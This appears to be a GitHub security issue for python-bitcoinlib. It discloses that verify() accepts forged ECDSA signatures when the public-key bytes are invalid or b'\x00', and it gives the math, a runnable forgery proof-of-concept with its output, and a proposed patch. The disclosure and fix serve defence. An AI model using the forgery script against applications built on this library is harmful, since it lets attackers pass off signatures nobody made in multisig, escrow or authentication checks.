Skip to content

Signature forgery: CPubKey.verify() accepts forged ECDSA signatures #324

Description

@1440000bytes

CECKey.verify() (and therefore CPubKey.verify(), VerifyScript(), VerifySignature()) never checks that a valid public key was actually loaded before calling ECDSA_verify(). When the supplied public-key bytes do not decode to a real secp256k1 point, OpenSSL leaves the point at infinity in the EC_KEY, and the library happily verifies against it.

Because the verification equation R = u1·G + u2·Q degenerates to R = u1·G when Q = O, an attacker can forge a signature that verify() accepts, with no private key and a single scalar multiplication, for any message.

CPubKey(b'\x00').is_fullyvalid is additionally True, so even a careful caller that guards with if pub.is_fullyvalid and pub.verify(...) is bypassed.

This is a signature-verification bypass in the security-critical path. It affects master / v0.12.2 (latest release).

bitcoin/core/key.py:

# line 280
def set_pubkey(self, key):
    self.mb = ctypes.create_string_buffer(key)
    return _ssl.o2i_ECPublicKey(ctypes.byref(self.k), ...)   # returns NULL on failure

# line 429
def verify(self, hash, sig):
    if not sig:
        return False
    # ... de/re-serialize the signature ...
    # line 454 — self.k is used with NO check that a valid pubkey was loaded:
    return _ssl.ECDSA_verify(0, hash, len(hash), norm_der, derlen, self.k) == 1

# line 583 — is_fullyvalid is just "did o2i return non-NULL", which is True for b'\x00'
self.is_fullyvalid = _cec_key.set_pubkey(self) is not None

CECKey.set_pubkey() at key.py:280 discards the return value of o2i_ECPublicKey(); CPubKey.verify() at key.py:618 and the script path scripteval._CheckSig() at scripteval.py:129-146 also call verify() without checking that a usable key is present.

OpenSSL's o2i_ECPublicKey() first sets pub_key = EC_POINT_new(group) — which is the point at infinity — and only then calls EC_POINT_oct2point(). When decoding fails it returns NULL but leaves that infinity point installed in the EC_KEY. python-bitcoinlib throws the NULL away and later verifies against the leftover infinity point.

b'\x00' is a special, structural case: 0x00 is the SEC1 encoding of the point at infinity, so o2i_ECPublicKey() succeeds (returns non-NULL) and is_fullyvalid becomes True.

For Q = O, ECDSA verification computes R = u1·G + u2·Q = u1·G, so choosing s = 1 gives u1 = m·s⁻¹ = m and r = x(m·G) mod n. The pair (r, 1) then verifies for message hash m, with no knowledge of any private key.

Bitcoin Core rejects all of these: CPubKey::IsValid() checks size() first (a 1-byte key fails immediately), and CHECKSIG with such a key fails under consensus.

Steps to reproduce

  1. pip install python-bitcoinlib ecdsa (or run against a checkout with PYTHONPATH).
  2. Save the PoC below as poc_forgery.py.
  3. python3 poc_forgery.py.

ecdsa is used only as an independent secp256k1 for the scalar multiply and to sign the control key; it is never used to verify. Environment for the run below: python-bitcoinlib 0.12.2, OpenSSL 3.0.2, Python 3.10.

Proof of concept

import ctypes
import bitcoin
from bitcoin.core.key import CECKey, CPubKey, _ssl
from bitcoin.wallet import CBitcoinSecret
from ecdsa import SECP256k1

bitcoin.SelectParams('mainnet')
n = SECP256k1.order
G = SECP256k1.generator

_ssl.EC_KEY_get0_public_key.restype = ctypes.c_void_p
_ssl.EC_KEY_get0_public_key.argtypes = [ctypes.c_void_p]
_ssl.EC_POINT_is_at_infinity.restype = ctypes.c_int
_ssl.EC_POINT_is_at_infinity.argtypes = [ctypes.c_void_p, ctypes.c_void_p]


def residual_is_infinity(cec):
    group = _ssl.EC_KEY_get0_group(cec.k)
    pub = _ssl.EC_KEY_get0_public_key(cec.k)
    if not pub:
        return False
    return _ssl.EC_POINT_is_at_infinity(ctypes.c_void_p(group), ctypes.c_void_p(pub)) == 1


def der(r, s):
    def enc(v):
        b = v.to_bytes((v.bit_length() + 7) // 8 or 1, 'big')
        if b[0] & 0x80:
            b = b'\x00' + b
        return b'\x02' + bytes([len(b)]) + b
    body = enc(r) + enc(s)
    return b'\x30' + bytes([len(body)]) + body


def forge(msg32):
    # s = 1  =>  u1 = m,  R = m*G,  r = x(m*G) mod n
    m = int.from_bytes(msg32, 'big') % n
    R = m * G
    return der(R.x() % n, 1)


msg = bytes(range(32))
sig = forge(msg)
print("forged signature:", sig.hex())

for name, kb in [("b'\\x00'", b'\x00'), ("b''", b''),
                 ("0xff*33", b'\xff' * 33), ("32B truncated", b'\x11' * 32)]:
    cec = CECKey()
    cec.set_pubkey(kb)
    print("%-14s residual=%-9s verify(forged)=%-5s is_fullyvalid=%s" % (
        name,
        "INFINITY" if residual_is_infinity(cec) else "other",
        cec.verify(msg, sig),
        CPubKey(kb).is_fullyvalid))

# controls
real = CBitcoinSecret.from_secret_bytes(b'\x09' * 32)
print("CONTROL forged vs real key (want False):", real.pub.verify(msg, sig))
print("CONTROL genuine vs real key (want True):", real.pub.verify(msg, real.sign(msg)))
python-bitcoinlib 0.12.2
==============================================================================
forged signature (hex): 302502206d6caac248af96f6afa7f904f550253a0f3ef3f5aa2fe6838a95b216691468e2020101
message hash (hex)    : 000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f

PUBLIC KEY BYTES                       o2i        residual pt   forged?  is_fullyvalid
--------------------------------------------------------------------------------------------
b'\x00'  (SEC1 point at infinity)      ok         INFINITY      True     True
b''      (empty)                       NULL       INFINITY      True     False
b'\xff'*33                             NULL       INFINITY      True     False
32 bytes, truncated key                NULL       INFINITY      True     False

CONTROL 1 (must be False): forged sig against a REAL public key
   real_key.verify(msg, forged) = False
CONTROL 2 (must be True):  a genuine signature still verifies normally
   real_key.verify(msg, genuine) = True

The two controls rule out a broken harness: the forged signature does not verify against a real key, and a genuine signature still verifies.

Impact

CPubKey.verify(), VerifyScript() and VerifySignature() will report as valid a signature that nobody produced, whenever the public key being verified is not a valid curve point. Any application that uses this library to answer "did the holder of this public key sign this?" — multisig / escrow participation checks, contract-signature validation, co-signing gates, an application-level authentication layer — is forgeable by whoever supplies the public-key bytes.

Suggested fix

Make verify() fail closed unless a valid, finite public key is loaded. Two layers:

  1. In CECKey.set_pubkey() (key.py:280), check the return value of o2i_ECPublicKey() and reject a public key whose stored point is NULL or at infinity; record that no key is loaded.
  2. In CECKey.verify() (key.py:429), return False immediately if no valid key is loaded (guard before ECDSA_verify).
  3. Port CPubKey::IsValid() so is_fullyvalid rejects b'\x00' and any length/prefix that is not a well-formed 33- or 65-byte encoding, and update the test_key.py:27 vector (T('00', True, True, False)T('00', True, False, False); the file already asks "why is this valid?").

Sketch:

def set_pubkey(self, key):
    self.mb = ctypes.create_string_buffer(key)
    result = _ssl.o2i_ECPublicKey(
        ctypes.byref(self.k), ctypes.byref(ctypes.pointer(self.mb)), len(key))
    if not result:
        return None
    group = _ssl.EC_KEY_get0_group(self.k)
    pub = _ssl.EC_KEY_get0_public_key(self.k)
    if (not pub) or _ssl.EC_POINT_is_at_infinity(group, pub) == 1:
        return None
    return result

def verify(self, hash, sig):
    if not sig:
        return False
    pub = _ssl.EC_KEY_get0_public_key(self.k)
    # reject if no key is loaded OR the residual point is the point at infinity
    if (not pub) or _ssl.EC_POINT_is_at_infinity(_ssl.EC_KEY_get0_group(self.k), pub) == 1:
        return False

(The infinity check in verify() is necessary in addition to the set_pubkey() check, because a failed set_pubkey() leaves the infinity point installed in self.k; guarding only on pub is NULL is not enough — the infinity point is non-NULL. EC_KEY_get0_public_key / EC_POINT_is_at_infinity need restype/argtypes declared alongside the other _ssl.* prototypes.)

Verified locally against master (91e334d): with this patch the four forgeries above are all rejected (verify -> False), a genuine signature against a real key still verifies (verify -> True), and the full test suite passes (149 passed) once the test_key.py:27 '00' vector is updated as noted.

Environment

  • python-bitcoinlib: master (91e334d) / v0.12.2
  • Python: 3.10
  • OpenSSL: 3.0.2 (the point-at-infinity fallback is OpenSSL-side; other 1.1.x/3.x versions behave the same for b'\x00')

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions